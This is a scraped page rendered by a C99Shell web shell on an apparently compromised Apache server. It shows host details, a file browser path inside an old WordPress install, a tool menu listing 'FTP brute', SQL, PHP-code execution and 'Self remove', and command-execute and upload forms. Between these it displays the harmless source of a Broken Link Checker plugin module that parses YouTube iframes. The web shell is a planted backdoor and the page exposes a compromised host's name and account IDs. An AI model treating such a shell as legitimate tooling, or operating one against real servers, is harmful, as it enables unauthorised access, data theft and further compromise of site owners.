!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/broken-link-checker/modules/extras/   drwxr-xr-x
Free 179.68 GB of 490.84 GB (36.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     youtube-iframe.php (2.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
Plugin Name: Embedded YouTube videos
Description: Parse embedded videos from YouTube
Version: 1.0
Author: Janis Elsts

ModuleCategory: parser
ModuleClassName: blcYouTubeIframe
ModuleContext: on-demand
ModuleLazyInit: true

ModulePriority: 120
*/

if ( !class_exists('blcEmbedParserBase') ){
    require 
'embed-parser-base.php';
}

class 
blcYouTubeIframe extends blcEmbedParserBase {
    var 
$supported_formats = array('html');
    
    function 
init(){
        
parent::init();
        
$this->short_title __('YouTube Video''broken-link-checker');
        
$this->long_title __('Embedded YouTube video''broken-link-checker');
        
$this->url_search_string 'youtube.com/embed/';
    }
    
    
/**
     * Extract embedded elements from a HTML string.
     * 
     * Returns an array of IFrame elements found in the input string. 
     * Elements without a 'src' attribute are skipped. 
     * 
     * Each array item has the same basic structure as the array items
     * returned by blcUtility::extract_tags(), plus an additional 'embed_code' key 
     * that contains the full HTML code for the entire <ifram> tag.  
     *  
     * @uses blcUtility::extract_tags() This function is a simple wrapper around extract_tags()
     * 
     * @param string $html
     * @return array 
     */
    
function extract_embeds($html){
        
$results = array();
        
        
//remove all <code></code> blocks first
        
$html preg_replace('/<code[^>]*>.+?<\/code>/si'' '$html);
        
        
//Find likely-looking <iframe> elements
        
$iframes blcUtility::extract_tags($html'iframe'falsetrue);
        foreach(
$iframes as $embed){
            if ( empty(
$embed['attributes']['src']) ){
                continue;
            }
            
            
$embed['embed_code'] = $embed['full_tag'];
            
            
$results[] = $embed;
        }
        
        return 
$results;
    }
    
    function 
link_url_from_src($src){
        
$parts = @parse_url($src);
        if ( empty(
$parts) || !isset($parts['path']) ) {
            return 
null;
        }

        
//Is this a playlist?
        
if ( strpos($parts['path'], 'videoseries') !== false ) {

            
//Extract the playlist ID from the query string.
            
if ( !isset($parts['query']) || empty($parts['query']) ) {
                return 
null;
            }
            
parse_str($parts['query'], $query);
            if ( !isset(
$query['list']) || empty($query['list']) ) {
                return 
null;
            }

            
$playlist_id $query['list'];
            if ( 
substr($playlist_id02) === 'PL' ) {
                
$playlist_id substr($playlist_id2);
            }

            
//Reconstruct the playlist URL.
            
$url 'http://www.youtube.com/playlist?list=' $playlist_id;

        } else {
            
//Extract video ID from the SRC. The ID is always 11 characters.
            
$exploded explode('/'$parts['path']);
            
$video_id substr(    end($exploded), 011 );

            
//Reconstruct the video permalink based on the ID
            
$url 'http://www.youtube.com/watch?v='.$video_id;
        }

        return 
$url;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0639 ]--